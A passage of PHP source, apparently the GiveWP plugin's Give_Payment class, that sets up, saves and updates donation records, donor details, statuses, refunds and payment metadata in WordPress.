$payment_id ] ); /** * Fires before payment setup. * * Allow extensions to perform actions before the payment is loaded. * * @since 1.5 * * @param Give_Payment $this Payment object. * @param int $payment_id The ID of the payment. */ do_action( 'give_pre_setup_payment', $this, $payment_id ); // Get payment from cache. $donation_vars = Give_Cache::get_group( $payment_id, 'give-donations' ); if ( is_null( $donation_vars ) ) { // Primary Identifier. $this->ID = absint( $payment_id ); // Protected ID that can never be changed. $this->_ID = absint( $payment_id ); // We have a payment, get the generic payment_meta item to reduce calls to it. $this->payment_meta = $this->get_meta(); // Status and Dates. $this->date = $payment->post_date; $this->post_date = $payment->post_date; $this->completed_date = $this->setup_completed_date(); $this->status = $payment->post_status; $this->post_status = $this->status; $this->mode = $this->setup_mode(); $this->import = $this->setup_import(); $this->parent_payment = $payment->post_parent; $all_payment_statuses = give_get_payment_statuses(); $this->status_nicename = array_key_exists( $this->status, $all_payment_statuses ) ? $all_payment_statuses[ $this->status ] : ucfirst( $this->status ); // Currency Based. $this->total = $this->setup_total(); $this->subtotal = $this->setup_subtotal(); $this->currency = $this->setup_currency(); // Gateway based. $this->gateway = $this->setup_gateway(); $this->transaction_id = $this->setup_transaction_id(); // User based. $this->ip = $this->setup_ip(); $this->customer_id = $this->setup_donor_id(); // Backward compatibility. $this->donor_id = $this->setup_donor_id(); $this->user_id = $this->setup_user_id(); $this->email = $this->setup_email(); $this->user_info = $this->setup_user_info(); $this->address = $this->setup_address(); $this->first_name = $this->user_info['first_name']; $this->last_name = $this->user_info['last_name']; $this->title_prefix = isset( $this->user_info['title'] ) ? $this->user_info['title'] : ''; // Other Identifiers. $this->form_title = $this->setup_form_title(); $this->form_id = $this->setup_form_id(); $this->price_id = $this->setup_price_id(); $this->key = $this->setup_payment_key(); $this->number = $this->setup_payment_number(); Give_Cache::set_group( $this->ID, get_object_vars( $this ), 'give-donations' ); } else { foreach ( $donation_vars as $donation_var => $value ) { $this->$donation_var = $value; } } // End if(). /** * Fires after payment setup. * * Allow extensions to add items to this object via hook. * * @since 1.5 * * @param Give_Payment $this Payment object. * @param int $payment_id The ID of the payment. */ do_action( 'give_setup_payment', $this, $payment_id ); return true; } /** * Payment class object is storing various meta value in object parameter. * So if user is updating payment meta but not updating payment object, then payment meta values will not reflect/changes on payment meta automatically * and you can still access payment meta old value in any old payment object ( previously created ) which can cause to show or save wrong payment data. * To prevent that user can use this function after updating any payment meta value ( in bulk or single update ). * * @since 1.6 * @access public * * @param int $payment_id Payment ID. * * @return void */ public function update_payment_setup( $payment_id ) { // Delete cache. Give_Cache::delete_group( $this->ID, 'give-donations' ); $this->setup_payment( $payment_id ); } /** * Create the base of a payment. * * @since 1.5 * @access private * * @return int|bool False on failure, the payment ID on success. */ private function insert_payment() { // Construct the payment title. $payment_title = ''; if ( ! empty( $this->first_name ) && ! empty( $this->last_name ) ) { $payment_title = $this->first_name . ' ' . $this->last_name; } elseif ( ! empty( $this->first_name ) && empty( $this->last_name ) ) { $payment_title = $this->first_name; } elseif ( ! empty( $this->email ) && is_email( $this->email ) ) { $payment_title = $this->email; } // Set Key. if ( empty( $this->key ) ) { $auth_key = defined( 'AUTH_KEY' ) ? AUTH_KEY : ''; $this->key = strtolower( md5( $this->email . date( 'Y-m-d H:i:s' ) . $auth_key . uniqid( 'give', true ) ) ); // Unique key. $this->pending['key'] = $this->key; } // Set IP. if ( empty( $this->ip ) ) { $this->ip = give_get_ip(); $this->pending['ip'] = $this->ip; } // @todo: payment data exist here only for backward compatibility // issue: https://github.com/impress-org/give/issues/1132 $payment_data = [ 'price' => $this->total, 'date' => $this->date, 'user_email' => $this->email, 'purchase_key' => $this->key, 'form_title' => $this->form_title, 'form_id' => $this->form_id, 'donor_id' => $this->donor_id, 'price_id' => $this->price_id, 'currency' => $this->currency, 'user_info' => [ 'id' => $this->user_id, 'title' => $this->title_prefix, 'email' => $this->email, 'first_name' => $this->first_name, 'last_name' => $this->last_name, 'address' => $this->address, ], 'status' => $this->status, ]; $args = apply_filters( 'give_insert_payment_args', [ 'post_title' => $payment_title, 'post_status' => $this->status, 'post_type' => 'give_payment', 'post_date' => ! empty( $this->date ) ? $this->date : null, 'post_date_gmt' => ! empty( $this->date ) ? get_gmt_from_date( $this->date ) : null, 'post_parent' => $this->parent_payment, ], $payment_data ); // Create a blank payment. $payment_id = wp_insert_post( $args ); if ( ! empty( $payment_id ) ) { $this->ID = $payment_id; $this->_ID = $payment_id; $donor = new stdClass(); if ( did_action( 'give_pre_process_donation' ) && is_user_logged_in() ) { $donor = new Give_Donor( get_current_user_id(), true ); // Donor is logged in but used a different email to purchase with so assign to their donor record. if ( ! empty( $donor->id ) && $this->email !== $donor->email ) { $donor->add_email( $this->email ); } } if ( empty( $donor->id ) ) { $donor = new Give_Donor( $this->email ); } if ( empty( $donor->id ) ) { $donor_data = [ 'name' => ! is_email( $payment_title ) ? $this->first_name . ' ' . $this->last_name : '', 'email' => $this->email, 'user_id' => $this->user_id, ]; $donor->create( $donor_data ); } /** * Filters the donor object after donation is completed but before donor table is updated. * * @since 1.8.13 * @since 2.4.2 Moved location of filter to occur after donor is hydrated. * * @param Give_Donor $donor Donor object. * @param int $payment_id Payment ID. * @param array $payment_data Payment data array. * @param array $args Payment args. */ $donor = apply_filters( 'give_update_donor_information', $donor, $payment_id, $payment_data, $args ); // Update Donor Meta once donor is created. $donor->update_meta( '_give_donor_first_name', $this->first_name ); $donor->update_meta( '_give_donor_last_name', $this->last_name ); $donor->update_meta( '_give_donor_title_prefix', $this->title_prefix ); $this->customer_id = $donor->id; $this->pending['customer_id'] = $this->customer_id; $donor->attach_payment( $this->ID, false ); $this->payment_meta = apply_filters( 'give_payment_meta', $this->payment_meta, $payment_data ); /** * _give_payment_meta backward compatibility. * * @since 2.0.1 */ $custom_payment_meta = array_diff( array_map( 'maybe_serialize', $this->payment_meta ), array_map( 'maybe_serialize', $payment_data ) ); if ( ! empty( $custom_payment_meta ) ) { give_doing_it_wrong( '_give_payment_meta', __( 'This custom meta key has been deprecated for performance reasons. Your custom meta data will still be stored but we recommend updating your code to store meta keys individually from GiveWP 2.0.0.', 'give' ) ); $this->update_meta( '_give_payment_meta', array_map( 'maybe_unserialize', $custom_payment_meta ) ); } $give_company = ( ! empty( $_REQUEST['give_company_name'] ) ? give_clean( $_REQUEST['give_company_name'] ) : '' ); // Check $page_url is not empty. if ( $give_company ) { give_update_meta( $payment_id, '_give_donation_company', $give_company ); $donor_id = absint( $donor->id ); if ( ! empty( $donor_id ) ) { Give()->donor_meta->update_meta( $donor_id, '_give_donor_company', $give_company ); } } $this->new = true; } // End if(). return $this->ID; } /** * Save * * Once items have been set, an update is needed to save them to the database. * * @access public * * @return bool True of the save occurred, false if it failed or wasn't needed */ public function save() { $saved = false; // Must have an ID. if ( empty( $this->ID ) ) { $payment_id = $this->insert_payment(); if ( false === $payment_id ) { $saved = false; } else { $this->ID = $payment_id; } } // Set ID if not matching. if ( $this->ID !== $this->_ID ) { $this->ID = $this->_ID; } // If we have something pending, let's save it. if ( ! empty( $this->pending ) ) { $total_increase = 0; $total_decrease = 0; foreach ( $this->pending as $key => $value ) { switch ( $key ) { case 'donations': // Update totals for pending donations. foreach ( $this->pending[ $key ] as $item ) { $quantity = isset( $item['quantity'] ) ? $item['quantity'] : 1; $price_id = isset( $item['price_id'] ) ? $item['price_id'] : 0; switch ( $item['action'] ) { case 'add': $price = $item['price']; if ( 'publish' === $this->status || 'complete' === $this->status ) { // Add donation to logs. $log_date = date_i18n( 'Y-m-d G:i:s', current_time( 'timestamp' ) ); give_record_donation_in_log( $item['id'], $this->ID, $price_id, $log_date ); $form = new Give_Donate_Form( $item['id'] ); $form->increase_sales( $quantity ); $form->increase_earnings( $price, $this->ID ); $total_increase += $price; } break; case 'remove': if ( 'publish' === $this->status || 'complete' === $this->status ) { $form = new Give_Donate_Form( $item['id'] ); $form->decrease_sales( $quantity ); $form->decrease_earnings( $item['amount'], $this->ID ); $total_decrease += $item['amount']; } break; }// End switch(). }// End foreach(). break; case 'status': $this->update_status( $this->status ); break; case 'gateway': $this->update_meta( '_give_payment_gateway', $this->gateway ); break; case 'mode': $this->update_meta( '_give_payment_mode', $this->mode ); break; case 'transaction_id': $this->update_meta( '_give_payment_transaction_id', $this->transaction_id ); break; case 'ip': $this->update_meta( '_give_payment_donor_ip', $this->ip ); break; case 'customer_id': $this->update_meta( '_give_payment_donor_id', $this->customer_id ); break; case 'form_title': $this->update_meta( '_give_payment_form_title', $this->form_title ); break; case 'form_id': $this->update_meta( '_give_payment_form_id', $this->form_id ); break; case 'price_id': $this->update_meta( '_give_payment_price_id', $this->price_id ); break; case 'first_name': $this->update_meta( '_give_donor_billing_first_name', $this->first_name ); break; case 'last_name': $this->update_meta( '_give_donor_billing_last_name', $this->last_name ); break; case 'currency': $this->update_meta( '_give_payment_currency', $this->currency ); break; case 'address': if ( ! empty( $this->address ) ) { foreach ( $this->address as $address_name => $address ) { switch ( $address_name ) { case 'line1': $this->update_meta( '_give_donor_billing_address1', $address ); break; case 'line2': $this->update_meta( '_give_donor_billing_address2', $address ); break; default: $this->update_meta( "_give_donor_billing_{$address_name}", $address ); } } } break; case 'email': $this->update_meta( '_give_payment_donor_email', $this->email ); break; case 'title_prefix': $this->update_meta( '_give_payment_donor_title_prefix', $this->title_prefix ); break; case 'key': $this->update_meta( '_give_payment_purchase_key', $this->key ); break; case 'number': // @todo: remove unused meta data. // Core is using post_title to store donation serial code ( fi enabled ) instead this meta key. // Do not use this meta key in your logic, can be remove in future $this->update_meta( '_give_payment_number', $this->number ); break; case 'date': $args = [ 'ID' => $this->ID, 'post_date' => date( 'Y-m-d H:i:s', strtotime( $this->date ) ), 'post_date_gmt' => get_gmt_from_date( $this->date ), 'edit_date' => true, ]; wp_update_post( $args ); break; case 'completed_date': $this->update_meta( '_give_completed_date', $this->completed_date ); break; case 'parent_payment': $args = [ 'ID' => $this->ID, 'post_parent' => $this->parent_payment, ]; wp_update_post( $args ); break; case 'total': $this->update_meta( '_give_payment_total', give_sanitize_amount_for_db( $this->total ) ); break; default: /** * Fires while saving payment. * * @since 1.7 * * @param Give_Payment $this Payment object. */ do_action( 'give_payment_save', $this, $key ); break; } // End switch(). } // End foreach(). if ( 'pending' !== $this->status ) { $donor = new Give_Donor( $this->customer_id ); $total_change = $total_increase - $total_decrease; if ( $total_change < 0 ) { $total_change = - ( $total_change ); // Decrease the donor's donation stats. $donor->decrease_value( $total_change ); give_decrease_total_earnings( $total_change ); $donor->decrease_donation_count(); } elseif ( $total_change > 0 ) { // Increase the donor's donation stats. $donor->increase_value( $total_change ); give_increase_total_earnings( $total_change ); $donor->increase_purchase_count(); } // Verify and update form meta based on the form status. give_set_form_closed_status( $this->form_id ); } $this->pending = []; $saved = true; } // End if(). if ( true === $saved ) { $this->setup_payment( $this->ID ); } return $saved; } /** * Add a donation to a given payment * * @since 1.5 * @access public * * @param int $form_id The donation form to add. * @param array $args Other arguments to pass to the function. * @param array $options List of donation options. * * @return bool True when successful, false otherwise */ public function add_donation( $form_id = 0, $args = [], $options = [] ) { $donation = new Give_Donate_Form( $form_id ); // Bail if this post isn't a give donation form. if ( ! $donation || 'give_forms' !== $donation->post_type ) { return false; } // Set some defaults. $defaults = [ 'price' => false, 'price_id' => false, ]; $args = wp_parse_args( apply_filters( 'give_payment_add_donation_args', $args, $donation->ID ), $defaults ); // Allow overriding the price. if ( false !== $args['price'] ) { $donation_amount = $args['price']; } else { // Deal with variable pricing. if ( give_has_variable_prices( $donation->ID ) ) { $prices = give_get_meta( $form_id, '_give_donation_levels', true ); $donation_amount = ''; // Loop through prices. foreach ( $prices as $price ) { // Find a match between price_id and level_id. // First verify array keys exists THEN make the match. if ( isset( $args['price_id'] ) && isset( $price['_give_id']['level_id'] ) && $args['price_id'] === (int) $price['_give_id']['level_id'] ) { $donation_amount = $price['_give_amount']; } } // Fallback to the lowest price point. if ( '' === $donation_amount ) { $donation_amount = give_get_lowest_price_option( $donation->ID ); $args['price_id'] = give_get_lowest_price_id( $donation->ID ); } } else { // Simple form price. $donation_amount = give_get_form_price( $donation->ID ); } } // Sanitizing the price here so we don't have a dozen calls later. $donation_amount = give_maybe_sanitize_amount( $donation_amount ); $total = round( $donation_amount, give_get_price_decimals( $this->ID ) ); // Add Options. $default_options = []; if ( false !== $args['price_id'] ) { $default_options['price_id'] = (int) $args['price_id']; } $options = wp_parse_args( $options, $default_options ); // Do not allow totals to go negative. if ( $total < 0 ) { $total = 0; } $donation = [ 'name' => $donation->post_title, 'id' => $donation->ID, 'price' => round( $total, give_get_price_decimals( $this->ID ) ), 'subtotal' => round( $total, give_get_price_decimals( $this->ID ) ), 'price_id' => $args['price_id'], 'action' => 'add', 'options' => $options, ]; $this->pending['donations'][] = $donation; $this->increase_subtotal( $total ); return true; } /** * Remove a donation from the payment * * @since 1.5 * @access public * * @param int $form_id The form ID to remove. * @param array $args Arguments to pass to identify (quantity, amount, price_id). * * @return bool If the item was removed or not */ public function remove_donation( $form_id, $args = [] ) { // Set some defaults. $defaults = [ 'quantity' => 1, 'price' => false, 'price_id' => false, ]; $args = wp_parse_args( $args, $defaults ); $form = new Give_Donate_Form( $form_id ); // Bail if this post isn't a valid give donation form. if ( ! $form || 'give_forms' !== $form->post_type ) { return false; } $pending_args = $args; $pending_args['id'] = $form_id; $pending_args['amount'] = $this->total; $pending_args['price_id'] = false !== $args['price_id'] ? (int) $args['price_id'] : false; $pending_args['quantity'] = $args['quantity']; $pending_args['action'] = 'remove'; $this->pending['donations'][] = $pending_args; $this->decrease_subtotal( $this->total ); return true; } /** * Add a note to a payment * * @since 1.5 * @access public * * @param string|bool $note The note to add. * * @return bool If the note was specified or not */ public function add_note( $note = false ) { // Bail if no note specified. if ( ! $note ) { return false; } give_insert_payment_note( $this->ID, $note ); } /** * Increase the payment's subtotal * * @since 1.5 * @access private * * @param float $amount The amount to increase the payment subtotal by. * * @return void */ private function increase_subtotal( $amount = 0.00 ) { $amount = (float) $amount; $this->subtotal += $amount; $this->recalculate_total(); } /** * Decrease the payment's subtotal. * * @since 1.5 * @access private * * @param float $amount The amount to decrease the payment subtotal by. * * @return void */ private function decrease_subtotal( $amount = 0.00 ) { $amount = (float) $amount; $this->subtotal -= $amount; if ( $this->subtotal < 0 ) { $this->subtotal = 0; } $this->recalculate_total(); } /** * Set or update the total for a payment. * * @since 1.5 * @since 2.1.4 reset total in pending property * @access private * * @return void */ private function recalculate_total() { $this->pending['total'] = $this->total = $this->subtotal; } /** * Set the payment status and run any status specific changes necessary. * * @since 1.5 * @access public * * @param string|bool $status The status to set the payment to. * * @return bool $updated Returns if the status was successfully updated. */ public function update_status( $status = false ) { // standardize the 'complete(d)' status. if ( 'completed' === $status || 'complete' === $status ) { $status = 'publish'; } $old_status = ! empty( $this->old_status ) ? $this->old_status : false; if ( $old_status === $status ) { return false; // Don't permit status changes that aren't changes. } $do_change = apply_filters( 'give_should_update_payment_status', true, $this->ID, $status, $old_status ); $updated = false; if ( $do_change ) { /** * Fires before changing payment status. * * @since 1.5 * * @param int $payment_id Payments ID. * @param string $status The new status. * @param string $old_status The old status. */ do_action( 'give_before_payment_status_change', $this->ID, $status, $old_status ); $update_fields = [ 'ID' => $this->ID, 'post_status' => $status, 'edit_date' => current_time( 'mysql' ), ]; $updated = wp_update_post( apply_filters( 'give_update_payment_status_fields', $update_fields ) ); $all_payment_statuses = give_get_payment_statuses(); $this->status_nicename = array_key_exists( $status, $all_payment_statuses ) ? $all_payment_statuses[ $status ] : ucfirst( $status ); // Process any specific status functions. $this->process_status( $status ); /** * Fires after changing payment status. * * @since 1.5 * * @param int $payment_id Payment ID. * @param string $status The new status. * @param string $old_status The old status. */ do_action( 'give_update_payment_status', $this->ID, $status, $old_status ); } // End if(). return $updated; } /** * Change the status of the payment to refunded, and run the necessary changes * * @since 1.5 * @access public * * @return void */ public function refund() { $this->old_status = $this->status; $this->status = 'refunded'; $this->pending['status'] = $this->status; $this->save(); } /** * Get a post meta item for the payment * * @since 1.5 * @access public * * @param string $meta_key The Meta Key. * @param boolean $single Return single item or array. * * @return mixed The value from the post meta */ public function get_meta( $meta_key = '_give_payment_meta', $single = true ) { if ( ! has_filter( 'get_post_metadata', 'give_bc_v20_get_payment_meta' ) && ! doing_filter( 'get_post_metadata' ) ) { add_filter( 'get_post_metadata', 'give_bc_v20_get_payment_meta', 999, 4 ); } $meta = give_get_meta( $this->ID, $meta_key, $single ); /** * Filter the specific meta key value. * * @since 1.5 */ $meta = apply_filters( "give_get_payment_meta_{$meta_key}", $meta, $this->ID ); // Security check. if ( is_serialized( $meta ) ) { preg_match( '/[oO]\s*:\s*\d+\s*:\s*"\s*(?!(?i)(stdClass))/', $meta, $matches ); if ( ! empty( $matches ) ) { $meta = []; } } /** * Filter the all meta keys. * * @since 1.5 */ return apply_filters( 'give_get_payment_meta', $meta, $this->ID, $meta_key ); } /** * Update the post meta * * @since 1.5 * @access public * * @param string $meta_key The meta key to update. * @param string $meta_value The meta value. * @param string $prev_value Previous meta value. * * @return int|bool Meta ID if the key didn't exist, true on successful update, false on failure */ public function update_meta( $meta_key = '', $meta_value = '', $prev_value = '' ) { if ( empty( $meta_key ) ) { return false; } /** * Filter the single meta key while updating * * @since 1.5 */ $meta_value = apply_filters( "give_update_payment_meta_{$meta_key}", $meta_value, $this->ID ); return give_update_meta( $this->ID, $meta_key, $meta_value, $prev_value ); } /** * Process Donation Status. * * @param string $status Donation Status. * * @since 2.0.2 * @access private * * @return void */ private function process_status( $status ) { $process = true; // Bailout, if changed from completed to preapproval/processing. // Bailout, if current status = previous status or status is publish. if ( 'preapproval' === $status || 'processing' === $status || 'publish' !== $this->old_status || $status !== $this->status ) { $process = false; } // Allow extensions to filter for their own payment types, Example: Recurring Payments. $process = apply_filters( "give_should_process_{$status}", $process, $this ); if ( false === $process ) { return; } /** * Fires before processing donation status. * * @param Give_Payment $this Payment object. * * @since 1.5 */ do_action( "give_pre_{$status}_payment", $this ); $decrease_earnings = apply_filters( "give_decrease_earnings_on_{$status}", true, $this ); $decrease_donor_value = apply_filters( "give_decrease_donor_value_on_{$status}", true, $this ); $decrease_donation_count = apply_filters( "give_decrease_donors_donation_count_on_{$status}", true, $this ); $this->maybe_alter_stats( $decrease_earnings, $decrease_donor_value, $decrease_donation_count ); // @todo: Refresh only range related stat cache give_delete_donation_stats(); /** * Fires after processing donation status. * * @param Give_Payment $this Payment object. * * @since 1.5 */ do_action( "give_post_{$status}_payment", $this ); } /** * Used during the process of moving to refunded or pending, to decrement stats * * @since 1.5 * @access private * * @param bool $alter_store_earnings If the method should alter the store earnings. * @param bool $alter_customer_value If the method should reduce the donor value. * @param bool $alter_customer_purchase_count If the method should reduce the donor's purchase count. * * @return void */ private function maybe_alter_stats( $alter_store_earnings, $alter_customer_value, $alter_customer_purchase_count ) { give_undo_donation( $this->ID ); // Decrease store earnings. if ( true === $alter_store_earnings ) { give_decrease_total_earnings( $this->total ); } // Decrement the stats for the donor. if ( ! empty( $this->customer_id ) ) { $donor = new Give_Donor( $this->customer_id ); if ( true === $alter_customer_value ) { $donor->decrease_value( $this->total ); } if ( true === $alter_customer_purchase_count ) { $donor->decrease_donation_count(); } } } /** * Setup functions only, these are not to be used by developers. * These functions exist only to allow the setup routine to be backwards compatible with our old * helper functions. * * These will run whenever setup_payment is called, which should only be called once. * To update an attribute, update it directly instead of re-running the setup routine */ /** * Setup the payment completed date * * @since 1.5 * @access private * * @return string The date the payment was completed */ private function setup_completed_date() { $payment = get_post( $this->ID ); if ( 'pending' === $payment->post_status || 'preapproved' === $payment->post_status ) { return false; // This payment was never completed. } $date = ( $date = $this->get_meta( '_give_completed_date', true ) ) ? $date : $payment->modified_date; return $date; } /** * Setup the payment mode * * @since 1.5 * @access private * * @return string The payment mode */ private function setup_mode() { return $this->get_meta( '_give_payment_mode' ); } /** * Setup the payment import data * * @since 1.8.13 * @access private * * @return bool The payment import */ private function setup_import() { return (bool) $this->get_meta( '_give_payment_import' ); } /** * Setup the payment total * * @since 1.5 * @access private * * @return float The payment total */ private function setup_total() { $amount = $this->get_meta( '_give_payment_total', true ); return round( floatval( $amount ), give_get_price_decimals( $this->ID ) ); } /** * Setup the payment subtotal * * @since 1.5 * @access private * * @return float The subtotal of the payment */ private function setup_subtotal() { $subtotal = $this->total; return $subtotal; } /** * Setup the currency code * * @since 1.5 * @since 2.0 Set currency from _give_payment_currency meta key * @access private * * @return string The currency for the payment */ private function setup_currency() { $currency = $this->get_meta( '_give_payment_currency', true ); $currency = ! empty( $currency ) ? $currency : /** * Filter the default donation currency * * @since 1.5 */ apply_filters( 'give_payment_currency_default', give_get_currency( $this->form_id, $this ), $this ); return $currency; } /** * Setup the gateway used for the payment * * @since 1.5 * @access private * * @return string The gateway */ private function setup_gateway() { $gateway = $this->get_meta( '_give_payment_gateway', true ); return $gateway; } /** * Setup the donation ID * * @since 1.5 * @access private * * @return string The donation ID */ private function setup_transaction_id() { $transaction_id = $this->get_meta( '_give_payment_transaction_id', true ); if ( empty( $transaction_id ) ) { $gateway = $this->gateway; $transaction_id = apply_filters( "give_get_payment_transaction_id-{$gateway}", $this->ID ); } return $transaction_id; } /** * Setup the IP Address for the payment * * @since 1.5 * @since 2.0 Set ip address from _give_payment_donor_ip meta key * @access private * * @return string The IP address for the payment */ private function setup_ip() { $ip = $this->get_meta( '_give_payment_donor_ip', true ); return $ip; } /** * Setup the donor ID. * * @since 1.5 * @since 2.0 Set id from _give_payment_donor_id meta key * @access private * * @return int The Donor ID. */ private function setup_donor_id() { $donor_id = $this->get_meta( '_give_payment_donor_id', true ); return $donor_id; } /** * Setup the User ID associated with the donation * * @since 1.5 * @since 2.0 Get user id connect to donor from donor table instead of payment meta. * * @access private * * @return int The User ID */ private function setup_user_id() { $donor = Give()->donors->get_donor_by( 'id', $this->donor_id ); $user_id = $donor ? absint( $donor->user_id ) : 0; return $user_id; } /** * Setup the email address for the donation. * * @since 1.5 * @since 2.0 Set email from _give_payment_donor_email meta key * * @access private * * @return string The email address for the payment. */ private function setup_email() { $email = $this->get_meta( '_give_payment_donor_email', true ); if ( empty( $email ) && $this->customer_id ) { $email = Give()->donors->get_column( 'email', $this->customer_id ); } return $email; } /** * Setup the user info. * * @since 1.5 * @access private * * @return array The user info associated with the payment. */ private function setup_user_info() { $defaults = [ 'title' => $this->title_prefix, 'first_name' => $this->first_name, 'last_name' => $this->last_name, ]; $user_info = isset( $this->payment_meta['user_info'] ) ? $this->payment_meta['user_info'] : []; if ( is_serialized( $user_info ) ) { preg_match( '/[oO]\s*:\s*\d+\s*:\s*"\s*(?!(?i)(stdClass))/', $user_info, $matches ); if ( ! empty( $matches ) ) { $user_info = []; } } $user_info = wp_parse_args( $user_info, $defaults ); if ( empty( $user_info ) ) { // Get the donor, but only if it's been created. $donor = new Give_Donor( $this->customer_id ); if ( $donor->id > 0 ) { $user_info = [ 'first_name' => $donor->get_first_name(), 'last_name' => $donor->get_last_name(), 'email' => $donor->email, 'discount' => 'none', ]; } } else { // Get the donor, but only if it's been created. $donor = new Give_Donor( $this->customer_id ); if ( $donor->id > 0 ) { foreach ( $user_info as $key => $value ) { if ( ! empty( $value ) ) { continue; } switch ( $key ) { case 'title': $user_info[ $key ] = Give()->donor_meta->get_meta( $donor->id, '_give_donor_title_prefix', true ); break; case 'first_name': $user_info[ $key ] = $donor->get_first_name(); break; case 'last_name': $user_info[ $key ] = $donor->get_last_name(); break; case 'email': $user_info[ $key ] = $donor->email; break; } } } }// End if(). return $user_info; } /** * Setup the Address for the payment. * * @since 1.5 * @access private * * @return array The Address information for the payment. */ private function setup_address() { $address['line1'] = give_get_meta( $this->ID, '_give_donor_billing_address1', true, '' ); $address['line2'] = give_get_meta( $this->ID, '_give_donor_billing_address2', true, '' ); $address['city'] = give_get_meta( $this->ID, '_give_donor_billing_city', true, '' ); $address['state'] = give_get_meta( $this->ID, '_give_donor_billing_state', true, '' ); $address['zip'] = give_get_meta( $this->ID, '_give_donor_billing_zip', true, '' ); $address['country'] = give_get_meta( $this->ID, '_give_donor_billing_country', true, '' ); return $address; } /** * Setup the form title. * * @since 1.5 * @access private * * @return string The Form Title. */ private function setup_form_title() { $form_id = $this->get_meta( '_give_payment_form_title', true ); return $form_id; } /** * Setup the form ID. * * @since 1.5 * @access private * * @return int The Form ID */ private function setup_form_id() { $form_id = $this->get_meta( '_give_payment_form_id', true ); return $form_id; } /** * Setup the price ID. * * @since 1.5 * @access private * * @return int The Form Price ID. */ private function setup_price_id() { $price_id = $this->get_meta( '_give_payment_price_id', true ); return $price_id; } /** * Setup the payment key. * * @since 1.5 * @access private * * @return string The Payment Key. */ private function setup_payment_key() { $key = $this->get_meta( '_give_payment_purchase_key', true ); return $key; } /** * Setup the payment number. * * @since 1.5 * @access private * * @return int|string Integer by default, or string if sequential order numbers is enabled. */ private function setup_payment_number() { return $this->get_serial_code(); } /** * Converts this object into an array for special cases. * * @access public * * @return array The payment object as an array. */ public function array_convert() { return get_object_vars( $this ); } /** * Flag to check if donation is completed or not. * * @since 1.8 * @access public * * @return bool */ public function is_completed() { return ( 'publish' === $this->status && $this->completed_date ); } /** * Retrieve payment completion date. * * @since 1.5 * @access private * * @return string Date payment was completed. */ private function get_completed_date() { return apply_filters( 'give_payment_completed_date', $this->completed_date, $this->ID, $this ); } /** * Retrieve payment subtotal. * * @since 1.5 * @access private * * @return float Payment subtotal. */ private function get_subtotal() { return apply_filters( 'give_get_payment_subtotal', $this->subtotal, $this->ID, $this ); } /** * Retrieve payment currency. * * @since 1.5 * @access private * * @return string Payment currency code. */ private function get_currency() { return apply_filters( 'give_payment_currency_code', $this->currency, $this->ID, $this ); } /** * Retrieve payment gateway. * * @since 1.5 * @access private * * @return string Gateway used. */ private function get_gateway() { return apply_filters( 'give_payment_gateway', $this->gateway, $this->ID, $this ); } /** * Retrieve donation ID. * * @since 1.5 * @access private * * @return string Donation ID from merchant processor. */ private function get_transaction_id() { return apply_filters( 'give_get_payment_transaction_id', $this->transaction_id, $this->ID, $this ); } /** * Retrieve payment IP * * @since 1.5 * @access private * * @return string Payment IP address */ private function get_ip() { return apply_filters( 'give_payment_user_ip', $this->ip, $this->ID, $this ); } /** * Retrieve payment donor ID. * * @since 1.5 * @access private * * @return int Payment donor ID. */ private function get_donor_id() { return apply_filters( 'give_payment_customer_id', $this->customer_id, $this->ID, $this ); } /** * Retrieve payment user ID. * * @since 1.5 * @access private * * @return int Payment user ID. */ private function get_user_id() { return apply_filters( 'give_payment_user_id', $this->user_id, $this->ID, $this ); } /** * Retrieve payment email. * * @since 1.5 * @access private * * @return string Payment donor email. */ private function get_email() { return apply_filters( 'give_payment_user_email', $this->email, $this->ID, $this ); } /** * Retrieve payment user info. * * @since 1.5 * @access private * * @return array Payment user info. */ private function get_user_info() { return apply_filters( 'give_payment_meta_user_info', $this->user_info, $this->ID, $this ); } /** * Retrieve payment billing address. * * @since 1.5 * @access private * * @return array Payment billing address. */ private function get_address() { return apply_filters( 'give_payment_address', $this->address, $this->ID, $this ); } /** * Retrieve payment key. * * @since 1.5 * @access private * * @return string Payment key. */ private function get_key() { return apply_filters( 'give_payment_key', $this->key, $this->ID, $this ); } /** * Retrieve payment form id * * @since 1.5 * @access private * * @return string Payment form id */ private function get_form_id() { return apply_filters( 'give_payment_form_id', $this->form_id, $this->ID, $this ); } /** * Retrieve payment number * * @since 1.5 * @access private * * @return int|string Payment number */ private function get_number() { return apply_filters( 'give_payment_number', $this->number, $this->ID, $this ); } /** * Get serial code * * @since 2.1 * * @param array $args List of arguments. * * @return string */ public function get_serial_code( $args = [] ) { return Give()->seq_donation_number->get_serial_code( $this, $args ); } }